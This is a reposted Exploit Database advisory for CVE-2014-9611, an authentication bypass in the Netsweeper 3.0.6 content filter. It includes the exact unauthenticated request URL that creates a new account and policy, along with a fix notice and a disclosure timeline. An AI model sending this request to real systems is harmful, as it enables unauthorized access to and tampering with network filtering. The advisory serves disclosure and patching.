Netsweeper 3.0.6 – Authentication Bypass

• Exploit Database
• 13 阅读

• 作者： Anastasios Monachos
  日期： 2015-08-21
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/37931/

• +------------------------------------------------------------------------+
  + Netsweeper 3.0.6 - Authentication Bypass (Account and Policy Creation) +
  +------------------------------------------------------------------------+
  Affected Product: Netsweeper
  Vendor Homepage	: www.netsweeper.com
  Version 	: 3.0.6 (and probably other versions)
  Discovered by	: Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]
  Patched	: Yes
  CVE		: CVE-2014-9611
  
  +---------------------+
  + Product Description +
  +---------------------+
  Netsweeper is a software solution specialized in content filtering.
  
  +----------------------+
  + Exploitation Details +
  +----------------------+
  An non-authenticated is able to provision new user accounts (and also create new policies under the same name as the newly created user accounts) 
  
  URL Path: http:/netsweeper:8080/webadmin/nslam/index.php?username=secuid0&password=secuid0&ip=127.0.0.1&theme=Global%20Web%20Admin%20Theme&groupname=
  
  +----------+
  + Solution +
  +----------+
  Upgrade to latest version.
  
  +---------------------+
  + Disclosure Timeline +
  +---------------------+
  24-Nov-2014: Initial Communication
  03-Dec-2014: Netsweeper responded
  03-Dec-2014: Shared full details to replicate the issue
  18-Dec-2014: Confirm fix on version 4.0.5
  17-Jan-2015: CVE assigned CVE-2014-9611
  11-Aug-2015: Public disclosure